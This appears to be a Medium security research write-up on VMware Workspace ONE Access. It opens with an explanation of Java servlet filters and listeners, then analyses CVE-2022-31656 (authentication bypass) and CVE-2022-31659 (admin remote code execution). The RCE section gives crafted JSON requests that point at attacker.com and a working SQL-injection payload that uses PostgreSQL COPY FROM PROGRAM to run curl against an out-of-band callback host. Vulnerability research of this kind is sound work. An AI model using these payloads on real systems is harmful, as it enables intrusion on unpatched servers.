Dancing on the architecture of VMware Workspace ONE Access (ENG)

  • Listeners can be used to listen to client requests and server operations
  • Some actions can be taken automatically, such as monitoring the number of online users, statistics of website visits, website access monitoring, etc…
  • Life cycle: The life cycle of listener starts from the web container to the destruction of the web container.
  • Before the HttpServletRequest arrives at the Servlet, intercept the customer's HttpServletRequest, check the HttpServletRequest as needed, or modify the HttpServletRequest header and data.
  • Before the HttpServletResponse arrives at the client, intercept the HttpServletResponse, check the HttpServletResponse as needed, or modify the HttpServletResponse header and data.
  • Filter program is a Java class that implements a special interface. Similar to Servlet, it is also called and executed by Servlet container.
  • When a Filter is registered in web.xml to intercept a Servlet program, it can decide whether to continue to pass the request to the Servlet program and whether to modify the request and response messages.
  • When the Servlet container starts calling a Servlet program, if it is found that a Filter program has been registered to intercept the Servlet, the container will no longer directly call the service method of the Servlet, but call the doFilter method of the Filter, and then the doFilter method determines whether to deactivate the service method
  • However, the service method of the Servlet cannot be called directly in the Filter.doFilter method. Instead, the FilterChain.doFilter method is called to activate the service method of the target Servlet. The FilterChain object is passed in through the parameters of the Filter.doFilter method.
  • As long as we add some program code before and after calling the FilterChain.doFilter method statement in the Filter.doFilter method, we can achieve some special functions before and after the Servlet response.
  • If the FilterChain.doFilter method is not called in the Filter.doFilter method, the service method of the target Servlet will not be executed, so some illegal access requests can be blocked through the Filter
  • When multiple filters exist at the same time, a filter chain is formed. The web server determines which filter to call first according to the registration order of the filter in the web.xml file
  • When the doFilter method of the first filter is called, the web server will create a FilterChain object representing the filter chain and pass it to the method. By judging whether there is a filter in the FilterChain, decide whether to call the filter later
  • When starting the web application, the web container initializes the Filter according to the registration in web.xml. (Filter object is initialized only once)
  • Developers can obtain the FilterConfig object representing the current filter configuration information through the parameters of the init method😃
  • After the Filter object is created, it will reside in memory and will not be destroyed until the web application is removed or the server is stopped. Called before the web container unloads the Filter object. This method is executed only once in the life cycle of the Filter. In this method, the resources used by the Filter can be released. 😂
  • When the server starts (load on startup = 1 is configured in web.xml, which is 0 by default) or when the servlet is requested for the first time, a servlet object will be initialized, that is, the initialization method init(ServletConfig conf) will be executed
  • The servlet object handles all client requests and executes them in the service(ServletRequest req, ServletResponse res) method
  • When the server shuts down, destroy the servlet object and execute the destroy() method garbage collection by JVM

II) [CVE-2022–31656] Bypass Authentication

private boolean isServerNameAmongTheValidList(String serverName, String gatewayHostName) {
return serverName.equalsIgnoreCase(gatewayHostName) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getHostname()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV4Address()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV6Address()) ||
serverName.equalsIgnoreCase("localhost") || serverName.equalsIgnoreCase("127.0.0.1");
}

III) [CVE-2022–31659] Admin RCE

TenantMigrationResource.migrateTenant()
-> TenantMigrationServiceImpl.migrateTenant()
-> CustomGroupMigrationServiceImpl.migrateCustomGroup()
-> ExportCustomGroup.getVidmUserIds()
{
"errorInputList":[
{
"errorType":"foo",
"errorObjectIdentifier":"bar"
}]
}
{
"errorInputList":[
{
"errorType":"foo",
"errorObjectIdentifier":"bar"
}],
"sourceDestinationInfo":
{
"sourceHostname":"attacker.com",
"sourceAdministrator":"admin",
"sourcePassword":"cc",
"sourceTenant":"ONE",
"sourceMasterTenant":"ONE",
"destinationHostname":"attacker.com",
"destinationAdministrator":"admin",
"destinationPassword":"cc",
"destinationTenant":"attacker",
"destinationMasterTenantHostname":"attacker.com"
}
}
List<Directory> list= new ArrayList<Directory>();
Map<String, List<Directory>> dir = new HashMap<>();
Directory d = new Directory("cc");
list.add(d);
dir.put("LOCAL", list);
migrationInfo.setDirectoryMap(dir);
ObjectMapper mapper = new ObjectMapper();
mapper.writerWithDefaultPrettyPrinter().writeValueAsString(migrationInfo);
## Output{
"directoryMap" : {
"LOCAL" : [ {
"type" : "Directory",
"sourceDirectoryBindPassword" : "cc",
"destinationConnectorInstanceId" : null,
"sourceDirectoryId" : null,
"_links" : { }
} ]
},
"sourceDestinationInfo" : {
"sourceHostname" : "attacker.com",
"sourceAdministrator" : "admin",
"sourcePassword" : "cc",
"sourceTenant" : "ONE",
"sourceMasterTenant" : "ONE",
"destinationHostname" : "attacker.com",
"destinationAdministrator" : "admin",
"destinationPassword" : "cc",
"destinationTenant" : "attacker",
"destinationMasterTenantHostname" : "attacker.com",
"_links" : { }
},
"vidmOnboardTenantDefinitionDTO" : null,
"errorInputList" : [ {
"errorType" : "foo",
"errorObjectIdentifier" : "bar"
} ],
"_links" : { }
}
# User input now
{
"errorInputList":[
{
"errorType":"CustomGroup",
"errorObjectIdentifier":"LocalDirectory"
}],
"sourceDestinationInfo":
{
"sourceHostname":"attacker.com",
"sourceAdministrator":"admin",
"sourcePassword":"cc",
"sourceTenant":"ONE",
"sourceMasterTenant":"ONE",
"destinationHostname":"attacker.com",
"destinationAdministrator":"admin",
"destinationPassword":"cc",
"destinationTenant":"attacker",
"destinationMasterTenantHostname":"attacker.com"
},
"directoryMap" : {
"LOCAL" : [ {
"type" : "Directory",
"sourceDirectoryBindPassword" : "cc",
"destinationConnectorInstanceId" : null,
"sourceDirectoryId" : null,
"_links" : { }
} ]
}
}
  • In stages 1 and 2, the program calls this.getVraAuthenticationServerUtils and this.getVidmAuthenticationServerUtils to authenticate and authorize the source and destination server using data taken from user input.
  • In stage 3, after having authenticated the source and destination server, the program will ExportCustomGroup in the source server and ImportCustomGroup in the destination server.
# Execute command #1, where attacker.com and UserID are user input
/usr/local/horizon/scripts/exportCustomGroupUsers.sh -h attacker.com -l UserID
# Get the output from command #1 to use as input for command #2. (output of #1 is string '$USERAME|$DOMAIN|$ORGANIZATION_ID')/usr/local/horizon/scripts/extractUserIdFromDatabase.sh -l '$USERAME|$DOMAIN|$ORGANIZATION_ID'
  • (1) exportCustomGroupUsers.sh
/usr/local/horizon/scripts/exportCustomGroupUsers.sh -h [HOSTNAME] -l [UserID]
psql -U postgres -h $HOSTNAME  -d vcac -At -c "select \"saas\".\"Users\".\"strUsername\",\"saas\".\"Users\".\"domain\",\"saas\".\"Organizations\".\"strOrganization\" from \"saas\".\"Users\",\"saas\".\"Organizations\" where \"saas\".\"Users\".\"idUser\" IN($UserID ) AND \"saas\".\"Users\".\"idOrganization\"=\"saas\".\"Organizations\".\"id\";"
  • (2) extractUserIdFromDatabase.sh
/usr/local/horizon/scripts/extractUserIdFromDatabase.sh -l '$USERAME|$DOMAIN|$ORGANIZATION_ID'
psql -U postgres -d saas -At -c "select \"idUser\" from \"saas\".\"Users\" where \"strUsername\"='$USERNAME' and \"domain\"='$DOMAIN' and \"idOrganization\"=$ORGANIZATION_ID;"
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
1';DROP/**/TABLE/**/IF/**/EXISTS/**/cmd_exec;CREATE/**/TABLE/**/cmd_exec(cmd_output/**/text);COPY/**/cmd_exec/**/FROM/**/PROGRAM/**/'curl${IFS}Ahihi.oastify.com/rce';SELECT/**/*/**/FROM/**/cmd_exec;--'
psql -U postgres -d saas -At -c "select \"idUser\" from \"saas\".\"Users\" where \"strUsername\"='1';DROP/**/TABLE/**/IF/**/EXISTS/**/cmd_exec;CREATE/**/TABLE/**/cmd_exec(cmd_output/**/text);COPY/**/cmd_exec/**/FROM/**/PROGRAM/**/'curl${IFS}Ahihi.oastify.com/rce';SELECT/**/*/**/FROM/**/cmd_exec;--'' and \"domain\"='$DOMAIN' and \"idOrganization\"=$ORGANIZATION_ID;"select "idUser" from "saas"."Users" where "strUsername"= '1';
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'curl Ahihi.oastify.com/rce';
SELECT * FROM cmd_exec;

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store